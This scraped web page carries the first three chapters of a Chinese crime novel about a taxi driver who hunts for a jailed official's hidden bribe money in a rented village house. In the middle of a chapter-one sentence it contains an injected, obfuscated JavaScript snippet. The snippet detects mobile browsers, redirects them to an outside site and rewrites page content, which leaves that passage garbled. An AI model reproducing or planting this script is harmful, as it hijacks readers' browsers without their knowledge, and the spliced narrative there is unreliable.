《章鱼之家》 1. 第 1 章 野草丛丛的岸边,几个七八岁的孩子赤着脚,在燥热的夏风中追逐一只低飞的蜻蜓。风吹拂着蝉鸣和孩子纯真的笑声,也将天空中那片洁白的云拖曳向前。 蜻蜓振动薄翅,逃脱了追逐。它掠过池塘的水面。水波被翅膀切开,闪出一圈又一圈的涟漪,很快又被池塘上蒸腾的热浪吞没。 伴随着“蜻蜓飞走啦!”的笑声,孩子们追逐而去。 蜻蜓还在飞,飞向池塘中央—— 深绿色的水面正随着风轻轻起伏。黑色的铁丝网地笼缓缓浮出,潮湿、沉重、像是水底自己翻出的秘密。 蜻蜓停在锈迹斑斑的铁丝上,翅膀折射着冰冷的蓝绿光泽。 笑声戛然而止,取而代之的是低声议论。有胆大的孩子涉水靠近,想要看清里面那团被水草缠绕,从铁丝孔洞中鼓胀出来的东西是什么。 他看清了。 随之而来的尖叫声刺破了1993年江都平静的夏天。 三天后,一名十三岁的男孩在家中被捕。 …… 拥挤的十字路口,不同汽车的喇叭声此起彼伏。路口正上方,一块巨大的霓虹广告牌反复闪烁着——“中国移动,邀您共享2008北京奥运会”,鲜红的五环标志在炽烈阳光下刺眼夺目。 一辆黄色的出租车内,计价器上的数字在闪动,后排的乘客低头玩手机。沾着水垢的内后视镜中,一张略显浮肿,平凡无奇的脸,几次将黏稠的目光落到身后的乘客身上。 他的目光像水蛭般滑过对方的红裙子,手中的诺基亚N95,以及脖子上那根金光璀璨的项链,又在对方抬头的一瞬间,飞快地缩回了湿润的巢穴。 “师傅,还要堵多久?”女孩问。 “不知道,如果是出了车祸,那就堵得久了。”蔡岛嘉说。 女孩皱了皱眉,继续低头玩起手机。 好在,他这条车道的车流终于涌动起来,蔡岛嘉连忙启动汽车跟上,旁边车道的一辆黑色轿车见状立即扭转车头,见缝插针地加塞。蔡岛嘉摇下车窗,热空气立即涌进阴凉的车内,他刚要开骂,奔驰的车标在烈日下闪闪发光,蔡岛嘉噎了一下,把车窗重新摇起。 终于,他挺过了拥堵路段,将乘客送到指定地点。对方从钱包里掏出一张十元纸币,等他找了补零后,就头也不回地开门下了车。 他就像一个枯燥、乏味的、愚蠢的游戏 NPC。 头上顶着‘村民甲’的名字。 和路边的一根狗尾巴草,撞死在车玻璃上的一只蚊子——没有本质区别。 每个人都只将他作工具看待,用完就遗弃在车水马龙之中。 他重新启动汽车,汇入拥挤的车流。内后视镜下方,一只灰色的毛线老鼠挂饰,随着汽车前进而轻轻晃动,仿佛在风中的水波里起伏。 晚高峰结束后,他将车停回自家小区楼下,拖沓着步子走回家门,敲响了棕色的防盗门。 门开得比以往快,母亲蔡娟脸上洋溢着喜色,秋叶子似的两片干瘪嘴唇上,涂着鲜红的口红。 “快进来,都等你呢!”蔡娟连忙让开,弯腰从鞋柜里取出他的拖鞋。 “谁等我?” 蔡岛嘉狐疑地踏进家门,脚后跟互相一别,鞋就落在了红色的鞋垫上,蔡娟熟练地拿起,整齐地摆放进鞋柜。 他穿着拖鞋走出玄关,一眼就看到了客厅沙发上那个讨好的笑容——也许只是友好,但这并不重要。重要的是,那是一个一眼就过了三十的女人,身高明显不足一米六,却有着比平均更臃肿的身材,即便是特意穿着深色的连衣裙,也掩盖不住腰腹层层叠叠的赘肉。 “你爸今晚又加班,只有咱们在家吃饭。这是小许,妈妈亲戚的女儿。”蔡娟从玄关中追出,推着他往前凑,“来,和小许打个招呼。” 蔡岛嘉的嗓子里像被卡了一块冷硬的石头,在蔡娟的催促下,他才勉强挤出一个抽搐般的笑容。 晚餐以一种荒谬而虚伪的热闹景象结束。 蔡岛嘉和蔡娟大吵一架后愤怒离家,提着一塑料袋的啤酒,在江边上喝闷酒。 “你以前是给大领导开车,但他不是已经进去两年了吗?要是他还在,能看在你爸的份上,给你介绍几个优秀的姑娘,妈也不至于在这儿干着急。这小许虽然离过婚,但性格好呀!而且经济条件也不错,人家不嫌弃你没读过大学,还说结婚后,可以给你开个小超市——你不是一直念叨着不想再开出租车了吗?” 母亲的声音仍充斥在耳畔,每一个字都是对蔡岛嘉自尊的凌迟。他捏扁了啤酒罐,用力朝着江水中掷出。扁扁的铝罐在水中浮沉,然后消失不见。 难道他就只配得上那些痴肥的、沉闷的、没人要的老女人? 难道这一辈子就这样了? 蔡岛嘉不甘心。 酒精在他的血管中流淌,思绪如撕碎的纸屑,杂乱无章。忽然之间,他想起一周前的一个下午,他载着一名女乘客前往世纪广场,对方在电话交谈中聊起了最近发生的一起贪污案。 “听说现在查出来的还不是贪污总数呢。” “……就是,这些人藏钱的法子多得是,我要是贪官,我也不敢把钱存银行啊。我之前还看过国外有个贪官,把赃款都藏墙里。这谁能发现?” 那时他只当笑话听过去,如今却突然像火星子一样点亮了胸腔里某个阴暗的角落。 蔡岛嘉掏出手机,打开浏览器,在输入框中输入“田永”二字,等了十几秒,页面才姗姗来迟。 “江都市城市建设投资有限公司原总经理田永受贿、贪污案一审宣判。” “江都市人民法院近日对一起重大经济犯罪案件作出公开宣判。被告人田永,原江都市城市建设投资有限公司总经理,在担任职务期间,利用负责房地产开发、工程承包等便利条件,非法收受相关单位和个人贿赂,数额巨大。经查明,1998年至2006年间,被告人田永先后收受多名工程承包方及关联企业财物,折合人民币一千三百余万元。案发后,田永主动退缴大部分赃款,剩余赃款亦已追缴。” “法院审理认为,被告人田永身为国有企业负责人,严重违反国家法律法规,行为已构成贪污、受贿罪,情节特别严重,社会影响恶劣。鉴于其认罪态度较好并退缴大部分赃款,依法予以从轻处罚。最终判处有期徒刑十五年,剥夺政治权利五年。” 从2002年到2006年,他给他开了四年车,目睹了他收下无数房产和现金。 仿佛有一根电流接入他的血管,蔡岛嘉浑身一颤,捡起地上一根树枝,就着贫瘠的河沙,飞快地写下一笔又一笔他还记得的赃款。 房地产商“偶然”遗落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727982|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在车上并拒绝田永归还的劳力士、藏在水果礼盒下的房本、田永让他随时准备在后备箱里的空行李箱、还有田永父亲去世时,成箱装载的礼金……这仅仅只是四年来他的目睹。 无论怎么算,这个数目都不止一千三百万。更何况,他只目睹了后四年,还有他不知情的前四年。 钱都去哪儿了? “我之前还看过国外有个贪官,把赃款都藏墙里。这谁能发现?” 蔡岛嘉摇晃着站了起来,树枝从他手中跌落。江面散射的亮光像被水冲刷过的钻石,冷硬、锋利,又在悄声召唤。 也许……他还有改变命运的机会。 …… 第二天上午,蔡岛嘉开车来到八里村。 这片地方像是被江都市遗忘的角落。狭窄的小巷纵横交错,七拐八弯,一眼望不到尽头。两侧的自建楼高低不一,硬生生挤到巷子边缘,楼与楼之间横七竖八的电线和晾衣杆像是一层层网,把微弱的光线都筛了下去,湿漉漉的衣服、被单垂下来,摇曳着就快贴到行人脸上。 偶尔豁口处能望见更远处的高楼林立,它们像沉重的围墙,环绕着八里村,把这里彻底隔绝在城市的阳光之外。 蔡岛嘉把车停在路口,弯腰躲过还在滴水的花衬衫,沿着巷道往里钻去。 空气里飘散着油烟、劣质香烟、下水道的气味,还有潮湿墙壁发霉的酸腐味。这些刺鼻的味道混杂在一起,堵在喉咙口,让呼吸都变得黏滞。 他穿过长长的巷道,停在巷口止步不前。 伫立在他眼前的,是一栋三层楼的自建楼。灰白色的外墙被雨水冲刷出一道道深色的痕迹,大门口的铁门漆色斑驳,墙上钉着一块歪歪扭扭的门牌,数字已经褪色模糊,只能依稀辨认出几个数字。门前的青苔顺着墙角一路攀爬,散发着霉味。 整栋楼像是从潮湿土壤里拔出来的旧物,沉重、丑陋,却又扎根顽强,死死嵌在这片城中村逼仄的夹缝之中。 在为田永开车的四年中,偶尔,田永会找借口支开他,独自开车去某个地方“办事”。他跟踪过几次,亲眼见到田永拖着行李箱进入这栋房子。那个在后备箱里总是空着的箱子,在田永手里,轮子重重摩擦地面发出“咯吱”的声响,不像轻快的旅行,而像拖拽着沉重的命运。 当他出来的时候,轮子又会恢复轻盈的鸣叫。 这些深埋在记忆中,原本以为只是细枝末节的微末,在这一刻忽然变得清晰而深刻。 蔡岛嘉绕着自建楼走了一圈,一人高的围墙里透出自留地的痕迹——细长的玉米穗、爬架上缠绕的黄瓜藤,以及那股令人想要掩鼻的农家肥的臭味。在自建楼正前方的铁门上,张贴着“内有空房出租”的告示,门缝里塞着一叠花里胡哨的广告推销,最上面那张印着一个身材火辣,推销啤酒的美女。 铁门滋啦一声开了条缝。 蔡岛嘉的视线在毫无准备的情况下,和一双怒气冲冲的眼睛撞在一起。一个上了年纪的老太婆。稀疏的棕色头发,发根是白的,至少八个粉色塑料发卷,勉强挂着那些为数不多的可怜发丝;穿着地摊上最常见的“老人服装”,红黑黄三个几何图案在连衣裙上打得难舍难分,脚上是一双塑胶拖鞋,十根全瑕的脚指头,和主人一齐虎视眈眈地朝着他。 “你哪个?”老太婆没好气地问,口音浓重。 2. 第 2 章 “我……”蔡岛嘉的目光飞快扫过铁门上张贴的那张出租告示,“我想租房,你们有空房间?” 老太婆狐疑的目光在他身上上下扫了两遍,握着门闩的手终于滑了下去。 “有,进来嘛。” 随着铁门完全打开,那些原本卡在门上的广告纷纷落下,其中一张落到蔡岛嘉运动鞋上,是一张彩色的寻人启事,照片上是一名两三岁的男童。他轻轻抬脚,从落下的广告单上踩了过去。 “你是房东?”蔡岛嘉试探着问。 “不然是你?”老太婆硬邦邦地说。 蔡岛嘉噎了一下,只能赔以干笑。他跟着老太婆走进铁门,院子里果然有一片自留地,种着玉米和黄瓜,以及几棵粗壮的辣椒。 一个和老太婆年纪相仿的老男人正佝偻着浇肥,蓝色塑料桶里的液体浑浊发暗,看不清是什么东西,从塑料勺里浇出的水是黑的,像是刚从下水道里打上来的一样,他在院子外闻到的异味就来自这里。 蔡岛嘉忍不住屏住呼吸,将目光转向别处。 在自留地的对角处,孤零零伫着一棵老槐树。盛夏已过花期,枝叶间还残留着零星的槐花,泛黄、干瘪。更多的花早已掉落,和尘土、雨水混成一层半腐烂的薄膜,看上去软黏黏的,带着一股酸败的甜味。浓密的枝叶遮住了院子大半的天光,阳光被碾成碎片,落在斑驳的墙壁上。 而在树荫遮掩下的自建楼大门处,一名三十岁上下,穿粉色印花睡衣,脸和眼睛都圆溜溜的女人正在和树下玩耍的小女孩说话,小女孩留着短发,侧边的头发用一枚褪色的粉色毛线发卡别到耳后。 “哎呀,别用手去碰,脏死了!” “哪有,这朵花刚落下来,还香香的。” 小女孩抬头看见蔡岛嘉,露出好奇的目光,而女人只是飞快瞥了他一眼,重新将目光落向小女孩。 “别玩了,快回来做作业了,晚上爸爸还要检查呢。” 小女孩撇了撇嘴,不情不愿地起身进了大门。 “妈,看房的?”女人问。 老太婆从干瘪的喉咙管里不耐烦地应了一声。 离得近了,蔡岛嘉才看清女人的睡衣上全是HelloKitty。 他跟在老太婆身后进了大门,客厅与餐厅相连,玄关的鞋柜上塞满大大小小的鞋,几把超市购物送的赠品雨伞伫立在墙角,隐约可见伞面上的宣传。电视机开着,正在播放一部动物世界的纪录片。蔡岛嘉的目光在屋里来回打量,一寸寸扫过茶几上开封了却没吃完的卤鸭,楼梯转角下一捆一捆的纸壳和塑料。 “这一楼,是我和我老伴住的。”老太婆说着,带他走上二楼,“二楼是我儿子儿媳、孙女住的。” 二楼比一楼更加空旷,客厅几乎没有利用起来,只有几扇关着门的房门。走廊窗台上摆着一盆要死不活的虎皮兰,将近一半的叶片都因缺少阳光而泛黄。 然后是干净得宛如毛坯房的三楼。 “三楼就是要出租的地方。”老太婆把两扇关着的房间门一一推开,“这两间房都可以出租,客厅和厕所是三楼公用的。” 蔡岛嘉随便看了一眼,两个卧室里只有一张床,一个衣柜,显然是从某个二手市场拉回的东西,充满了前人的使用痕迹。 三层楼他都已经看过了,田永会把赃款藏在哪里呢? “你要租哪间?”老太婆直截了当地问。 “阿婆,这房子你买了多久了?”蔡岛嘉说,“看上去房龄有点大啊。” “你在村子里租房还嫌房龄大?那你去租公寓,租别墅,来这里干什么?”老太婆冷笑道。 “我只是好奇问问,也不是嫌弃啊。”蔡岛嘉连忙说,“我要租的话,就是租一层楼呢,肯定要多了解,对吧?” “住一层牛?”老太婆变了脸色,“你是养殖户?” 蔡岛嘉尴尬地咳了一声:“我说的是租——一层楼,不是牛。” “哦,租一层。”老太婆神色狐疑,“整租价钱也没优惠的。” “那个没事。”蔡岛嘉装作不在意,顺势再问,“您这房子买多久了?” “快两年了。” “哟,那时候不便宜吧?” “还好,当时赶上人家急着出国,算我捡到便宜了。现在房价都翻起好几番了。”老太婆忽然警觉,目光一缩,“你问这些做啥子?” “随便聊聊,随便聊聊。”蔡岛嘉立马岔开话题,“阿婆,您贵姓?这水电费怎么算哦?” “我们一家子,除了媳妇,都姓何。”老太婆伸出干巴巴的手指往墙上一指,“水电表在那儿,你自己看。要是分租的话,三楼厕所的水电要平摊。” 蔡岛嘉装作仔细看房,把三楼的所有房间都看了一遍。最后随便问了几个问题,说要考虑一下,被何阿婆送下了楼。 “我考虑好了就给您打电话。”他赔笑道,“您的电话号码……” 话没说完,铁门已经砰地关上了,何阿婆不耐烦的声音从门内传出:“门上有。”然后是一阵塑料拖鞋打在地面上,逐渐走远的脚步声。 蔡岛嘉看向铁门,用手机记下招租告示上的电话号码。 他后退几步,最后看了一眼自建楼。铁门的锈迹在阳光下像血痕一样蜿蜒,蔡岛嘉觉得,那些锈迹像在暗示一条隐秘的路线,只要顺着它钻进去,就能摸到深埋的秘密。 赃款绝不会摆在眼前。 它一定藏在阴影里——墙体的空隙,吊顶的夹层,或者地砖下面。 他舔了舔嘴唇,转身往停车的地方走去。 …… 这天之后,蔡岛嘉又找各种借口上门,连续看了三天房子。 第四天时,他被挡在了门外。 “别看了噻!看了这么多次也不租,你去看别家的!”何阿婆门都没给他开,前半句还是口音浓重的普通话,后半句直接转为了乡音,“浪费老子时间,瓜娃子。” 蔡岛嘉拍了一会儿门,无人理会,只好灰溜溜回到车上。 看样子,要想深入探查,只有住进去一条路了。但租房要花钱,他从没在外租过房子,只听说房子大多是季租,半年租。如果是租一月付一月的钱,他还能自己承担,但如果要租下整个三楼,并且一次性付三个月的租金…… 他拿出手机看了看银行之前给发的余额提示,一时拿不定主意。 如果他的推论是错的,田永并没有在这栋房子里留下赃款,那他不就是在把全部身家往水里扔? 蔡岛嘉心不在焉地启动汽车,驶离了巷道逼仄的八里村。 重新驶回大街后,黄色出租车立即融进了嘈杂车流。蔡岛嘉已无心出车,打算提早下班回家打游戏,他把空车的标识换成红色的载客,对着前面一辆奥拓狂按喇叭。 就在这时,他的余光捕捉到一抹熟悉的黑影——一辆黑色桑塔纳。 他睁大了眼睛,怀疑自己看错。 不再管那辆慢吞吞的奥拓,他猛打方向盘,出租车像一条滑溜溜的泥鳅钻出车流,贴近桑塔纳旁边的车道。 再打方向盘,再插入。 轮胎与柏油路摩擦,尖锐刺耳,像撕裂的嗓子。 几个回合后,他与桑塔纳的距离缩短到两辆车。那串车牌号清晰无比。 江A39844。 蔡岛嘉瞄了眼时间,下午四点过五分。按理,父亲姜胜应该在工地上上班,他的车怎么会出现在这里? 也许是单纯的好奇,也可能是天生的多疑。 他盯着那辆黑色桑塔纳,保持着不远不近的车距,跟了上去。 半小时后,黑色桑塔纳停进了一家连锁宾馆门前的露天停车场。蔡岛嘉不顾被罚单的危险,将车停在对面的路边,亲眼见到他那早出晚归、常年见不到人的父亲搂着一个约莫四十来岁,打扮得花枝招展的中年女人进了宾馆。 他僵在驾驶座上,汗水顺着鬓角滑落,却觉得背脊发冷,像是整个人被扔进冰水里。父亲的手搂着那女人的腰,动作熟练自然,仿佛早已重复过无数次。 有什么东西,在由内而外地撞击他的胸口,但他已分不清,是怒火在烧,还是恶心在涌。 直到电梯门合拢,两人身影彻底吞没,蔡岛嘉才猛然回过神来。 他猛地抓起手机,下意识要拨母亲的号码。屏幕上那几个熟悉的数字跳出来时,他却僵住了。 如果父母离婚,没有工资收入的母亲岂不是只有自己来养? 不仅如此。 父亲出轨离婚的丑闻会传得飞快。他本就没钱没房,如今还要多出一个“拖油瓶母亲”,谁愿意嫁给这样的人?他这辈子岂不是要永远困死在出租车驾驶座上? 手指停在拨号键上,迟疑几秒后,他用力按下返回键。 不能告诉她。绝对不能。 但如果装什么都没发现,他咽不下这口气。 两个小时后,宾馆大门再次打开。姜胜和那名打扮艳俗的中年女人并肩走出,神色轻松,仿佛刚从另一个世界归来。他们说说笑笑地坐上黑色桑塔纳,驶离了宾馆,丝毫没有察觉到,在马路对面,一辆黄色出租车发动着引擎,始终远远地吊在他们身后。 黑色桑塔纳在七拐八拐后,拐入了一个平凡无奇的居民小区。 蔡岛嘉的黄色出租车在随后驶入。 桑塔纳停在三单元楼下,姜胜亲自送女人上了楼。蔡岛嘉冷眼看着声控灯一层一层亮起,直到停在四楼。 又是半小时后,姜胜独自下了楼,坐上桑塔纳离开。 蔡岛嘉在车里又等了十分钟,终于按捺不住,下车进了单元楼。他一路踩着沉闷的水泥台阶上到四楼,左右两户门面毫无差别。他先敲了左边那户的门,立刻缩身躲到楼上一层。 “咔哒。”门锁响了。 蔡岛嘉蜷缩在楼梯转角,探头从扶手与墙壁间的窄缝望下去。楼梯的水泥斜面几乎占据了全部的视野,只在最下方留出一道狭长的缺口。透过那道缺口,一个花枝招展的身影探出半边身子——果然是那个女人。 连上天都站在他这一边。 女人左右看了看,疑惑地皱眉,又把门关上。 楼上的门忽然开了,蔡岛嘉立即站直身体,双手揣兜,装作正在下楼的样子。一个小男孩手里端着水枪,尖叫着从他身边冲下去,水珠溅到他裤脚,母亲则在门口喊:“慢点,别摔了!” 没有人发现他不属于这栋 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“爸呢?”他假装漫不经心地问。 烟熏缭绕的厨房里,蔡娟正在挥舞锅铲,她头也不回地说道:“你爸今晚在工地加班——先吃点水果吧。桌上有洗干净的小番茄。” 加班?下午没上班,晚上怎么不补上呢? 蔡岛嘉冷笑了一下,没说什么。 晚餐后,蔡娟在厨房里收拾碗筷,蔡岛嘉瘫坐在沙发上看电视。这个时间点,每个台都是转播的中央新闻。他的目光停在电视上,心思却没跟着新闻走。 八里村的自建楼和父亲出轨的身影在他眼前不停交替。 “儿子,来洗脚。”蔡娟端着一盆热水在他脚边蹲下。 他习以为常地抬脚,甚至没有开口说话,母亲已经熟练地握住他的脚,将其轻轻放进了热水中。 “儿子,今天生意怎么样?”蔡娟一边往他脚上泼着热水,一边问道,“我听人说,这奥运会期间出租车司机的生意比平常多了好几倍,是不是真的?” “那是北京,关我们屁事。”蔡岛嘉不耐烦地说。 “就算咱们不是北京,多少也会好点吧?”蔡娟说,“现在又是暑假,出来玩的学生多得不得了,你有时间就应该多出出车,现在不挣钱什么时候挣钱?妈以前在公交车上当售票员的时候辛苦多了,一站就要站一天,你起码还能坐着呢。” “对了,你今天回来这么早,是不是下午又偷懒去了没有出车?你要真这么不想跑车,就考虑考虑小许吧?你们要是能成,你以后开个小超市做个小生意,多轻松呀。” “你有完没完?!” 蔡岛嘉忍无可忍,一脚踩翻了洗脚盆。热水打翻流了一地,蔡娟的衣服也被打湿了。 她愣了一下,还没来得及说话,蔡岛嘉已经踩着拖鞋面站了起来。 “你管好你自己就行了,知道自己没本事,就别来对我指手画脚!” “你怎么说话呢?妈不是为了你好吗?”蔡娟也站了起来,但比起怒火,她脸上更多的是不解,“妈知道你有志气,但咱们也要考虑现实啊。你爸妈不是什么有钱人,你也不是富二代,咱们就是一普通人家,人家漂亮又有钱的姑娘怎么会看得上你呢?” 蔡岛嘉的怒火像是被抽了一鞭的陀螺,疯狂地转了起来。 “看不上我也是因为我有你们这样无能的父母,你为什么不出去工作?为什么要当家里的寄生虫?爸一个月就挣那么点钱,你还在家好吃懒做,就不为我想想吗?!还有爸——工地上干了那么多年还是一个小队长,我说出去都嫌丢人!我有今天都是被你们耽搁的!”他怒吼道。 “小声点!”蔡娟依然没有动怒,就像面对一个在无理取闹的孩子,她的眼神飞快看了一眼窗外的邻居家,轻轻地在蔡岛嘉的手臂上打了一下,“再吵妈妈不给你这个月的零花钱了。” 蔡岛嘉的一腔怒火像撞在了棉花上,他冷笑一声:“不给就不给,谁稀罕。” 他把脚塞进拖鞋里,大步走回自己的房间,摔上了门。 卧室不大,老式小区常见的方方正正十几平方米,窗子外正对着一堵灰墙,房间光线阴沉。 一张一米五的单人床被推至角落靠墙,床上整整齐齐,床单、枕套都是超市里成套买来的花纹布料,洗得干干净净。地面拖得发亮,乳白色的地砖反射出一层冷淡的光。 房间真正的中心是电脑桌。 老旧的台式机机箱,散热口蒙着一层灰,键盘缝隙里塞着瓜子壳与碎屑。显示器正面糊着一张“防辐射”的绿色贴膜,边角翘起,露出下方斑驳的荧光。桌面被蔡娟收拾得井井有条,却没有学习或思考的痕迹。只有鼠标垫被反复磨损得发白,鼠标本身油腻光亮。 蔡岛嘉一屁股坐到电脑前,冷冷地盯着屏幕上映出的那张平凡的面孔,搭配着那双微微下垂的眼睛,使他在每个场合都像一个“略微可怜的、平凡无奇的路人甲”。 但他不甘心。 他的人生本不该如此。 他必须找到那笔钱,然后摆脱这一切,摆脱出租车、摆脱母亲—— 摆脱命运本身。 3. 第 3 章 7月14日,10:45。 蔡岛嘉坐在黄色出租车里,盯着手机屏幕上显示的时间,深吸一口气,最后一次打开短信确认了自己银行卡里的余额。 一次□□三个月的租金可能不够,但他必须试试。 蔡岛嘉开门下车,将手机揣进牛仔裤兜,大步走到路口前方的自建楼,敲响了紧闭的铁门。 “谁啊?”门内传来一个老年男人的声音,声音低沉,带着几分书卷气。 “是我,之前来看过房的小蔡。”怕被拒之门外,蔡岛嘉忙说,“我已经想好了,就租你们的房子,今天是打算来签合同的。” 片刻沉默。铁门吱呀一声被拉开。 “进来吧,小伙子。” 开门的何阿公穿着一件浅灰色棉麻唐装,布料洗得泛白,熨帖平整,脚下是一双黑布鞋。他的脸上带着一种被岁月与文化浸泡过的温和——这种温和在蔡岛嘉眼里,既刺眼又突兀。跟院子里弥漫的酸腐气味、湿漉漉的墙壁格格不入,也和那个总是臭着脸、仿佛永远都在生气的老太婆格格不入。 蔡岛嘉跟在何阿公身后跨进院子,他抬头扫了一眼那棵老槐树,枝叶沉沉地遮下半边院子,再往前就是自建楼的入户大门。 这时,何阿婆从厨房里出来,手里甩着一把还在滴水的空心菜,看见蔡岛嘉,脸立刻沉了下来。 “你又来干啥子噻?” “阿婆,我这次是来签合同的。我已经决定要租您的房子了。”蔡岛嘉赶紧挤出讨好的笑容,背也下意识地弯了弯。 何阿婆这才神色稍缓,哼了一声:“租可以,但整租不行。” “这是为什么?上次不是说可以整租吗?”蔡岛嘉急了。 话音刚落,楼梯上传来脚步声。蔡岛嘉下意识望去,一只体型壮硕的金毛先从楼梯上探出头来,毛色光亮,尾巴摇得虎虎生风。它兴奋得直往下窜,一爪子踩在台阶边缘,差点滑下去,笨拙地“哼”了一声才稳住身子。 然后是一个戴着宽幅墨镜的中年女人。 蔡岛嘉从未见过这么古怪的女人。 她身上穿着一件鲜红的皮衣,皮质已经开裂起皱,颜色却依旧刺眼。里面随意套着一件泛黄的印花衬衫,扣子没对齐,衣摆歪斜地露在外面。下身是一条格子呢裤子,裤脚磨出了毛边,硬生生扎进一双金属光泽的尖头靴子里。 她拄着盲杖,盲杖却被另一只牵着绳子的手牵制得几乎落不了地。她死死攥着扶手,侧身摸索着下楼,脚步险些被那头大狗拖得踉跄。 “笨笨,别急——慢点走!”她低声呵斥,可那金毛置若罔闻,反倒摇着尾巴蹦得更起劲。 何阿婆顺着他的目光望去,不以为然地说:“你磨蹭太久,三楼已经租出去一间了。” 蔡岛嘉愣在原地,脸色僵硬。 “你还租不?”何阿婆不耐烦地问。 他迟疑片刻,还是咬牙吐出一个字:“……租!” 金毛终于拉着主人下到一楼,它闻了闻几人身上的味道,然后对蔡岛嘉大声吠叫起来。 “笨笨!别叫了!”盲女急忙拉扯牵引绳,但大金毛依然朝蔡岛嘉叫个不停。 “真是奇怪,笨笨平时不这样的,对不住啊……”盲女一脸尴尬,对着何阿婆的方向鞠了一躬。 “你弄错人了。”何阿婆冷冷说。 “啊,对不起,对不起……”盲女调转方向,赶紧又鞠了一躬,这次是对着何阿公。 “没事。”蔡岛嘉干笑了一声。 “原来您在这里!不好意思啊不好意思,我有葡萄膜炎,眼睛看不见了——这是我的导盲犬笨笨,您怕狗吗?笨笨不咬人,就是有点兴奋,它才两岁,是我在市场上八百块钱买来的。您是来租我隔壁的吧?我叫夏禧,咱们以后就是邻居了。真没想到,这么快就有邻居了,我也是昨天才搬来的呢——” 蔡岛嘉打断她没完没了的废话,问何阿婆:“何阿婆,你看我们什么时候签合同?” “什么合同?我只有收据。”何阿婆讽刺道,“你以为租的是别墅嗦?” “收据也行。”蔡岛嘉只好说。 单间房的租金比一开始预想的整租要便宜许多,但何阿婆咬死了半年起租,一个月也不肯少,蔡岛嘉面上一直赔笑,但心里早把何阿婆骂了个狗血淋头。 中午11:30,蔡岛嘉从银行回到自建楼,将卡里仅剩的钱交给何阿婆,换得一张随手写下的收据。 “你的钥匙。”何阿婆从一楼主卧里走出,手里拿着一把普普通通的钥匙,“你租的是厕所斜对门那间,别走错房间。三楼公共区域的卫生由你们三楼租户负责,我每个月上来检查一次。” 蔡岛嘉收下钥匙,当天下午就开始搬入自建楼。如果能尽快找到赃款,他根本就用不着住满半年,所以他只准备将一些生活必需品搬进自建楼。但这免不了要回一趟家。 回到家,蔡娟知道他要搬出去,大惊失色,好像他不是要独自居住,而是要独自去上战场。 他费了好大一番功夫,才从蔡娟手里夺过装满了换洗衣服和细碎生活用品的行李箱,逃出了家门。 安顿下来,已是深夜。 蔡岛嘉累得澡也没洗,在硬得像砖头,侧边还凹陷了一大片的廉价床垫上倒头就睡。 第二天早上,蔡岛嘉是被隔壁的婴儿啼哭声、夏禧与搬家公司员工的交谈声吵醒的。墙薄得像纸片,一点风吹草动都清晰响亮。他看了眼手机上的时间,刚刚七点。 他翻身下床,顶着一头乱糟糟的头发,拉开门刚想骂上几句,那只叫笨笨的导盲犬就朝他吠叫着冲了过来。 他砰地一声关上了房门。 “操。”他一屁股坐回床上。 睡是睡不着了,大白天的,人多眼杂,也没法仔细调查吊顶之类的地方。蔡岛嘉想了又想,决定先去出车挣钱。毕竟,他交完房租,兜里只剩下两百块钱了。 他拿上车钥匙,重新开门。搬家公司的人已经走了,只剩下几串带着灰的脚印和三个膝盖高的空纸箱留在客厅,见他再次出现,蹲在空旷客厅里的笨笨立即站起身来,朝他发出示威的低鸣。 “滚开点,你这畜生。”蔡岛嘉低声骂道。 笨笨发出含混的警告声。 “笨笨!”从隔壁开着的房门里传出夏禧的声音。 片刻后,她拄着盲杖走出了房间。依旧是蔡岛嘉看不懂的装扮——她在一件橘红色的连衣裙下面又穿了一条不知道哪个学校的校服裤子,蓝白条纹,磨得发毛,脖子上还挂着一条镶着塑料钻的假珍珠项链,在太阳下闪着劣质的光。 脸上那个几乎占据半个面孔的宽幅墨镜,反而成了身上最正常的东西。 “小蔡,要出门啊?”夏禧对着空气乐呵呵地说,“我正打算出门遛狗呢。” “是啊,吵得睡不着觉,干脆出门跑车。”蔡岛嘉讽刺道。 声音从侧方传来,夏禧这才找准他的位置,终于将笑脸对向他。 “怎么会睡不着呢?是刚来认床吗?”她一脸真切的关心,丝毫没有听出蔡岛嘉的阴阳怪气。 “你还带着孩子?”蔡岛嘉的目光往她开着的房间里看去,仗着对 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“你眼睛看不见,又要一个人带孩子,肯定很不容易。”蔡岛嘉的语气忽然和缓了许多,“有什么帮得上忙的地方,尽管开口。大家都是邻居。” “那真是太感谢了!你喜欢小孩吗?不管白天再苦再累,回家摸到小孩胖乎乎软绵绵的小手,就什么烦恼都没有了。你要是有小孩,我们两家的小孩可以一起玩玩。我家小胖子的玩具可多了……”夏禧话没说完,屋里重新传出婴儿啼哭声,她满脸抱歉地说,“孩子又哭了,我先回去看他是不是饿了,等下回您有空,我们再好好聊聊。” “行,你去忙,我也要出门了。”蔡岛嘉说。 夏禧点点头,转身朝房门走去。盲杖刚要探出,蔡岛嘉脚背一挑,将旁边一个空纸箱轻轻拨了出去。 纸箱在光滑的地砖上悄悄滑行,正好停在她下一步的落脚点前。 夏禧脚尖撞到箱角,箱子被踢开半尺。她踉跄了一下,盲杖“笃、笃”点了两下,另一只手忙伸向墙面,指尖抓住门框才稳住身子。 笨笨低低叫了一声,围着她转了半圈。 “对不起,对不起,我是不是踢到什么了?”夏禧有些慌。 “地上有个空纸箱,估计是搬家的人落下的。这些人做事真是马虎。”蔡岛嘉把纸箱踢到墙根,语气关切,“现在没事了。” “谢谢……” 她连声道谢,扶着门框摸回屋去,笨笨贴在她腿侧,尾巴拍在门上“嗒嗒”作响。 蔡岛嘉目送她小心而笨拙进门,心里最后一点疑虑也散了。 一个瞎子室友。 多么方便。 蔡岛嘉转身往楼下走去。 二楼和一楼都没有人。一楼客厅里那个仿佛永远都开着的电视机静悄悄的。他走出入户大门,黄色出租车就停在院子里,他伸手去拉车门,心头一紧,像是被什么钉住了。 蔡岛嘉抬起头。 自建楼二楼一扇半开的窗子里,一个瘦小的身影正静静伫着。 那是何阿婆的孙女。 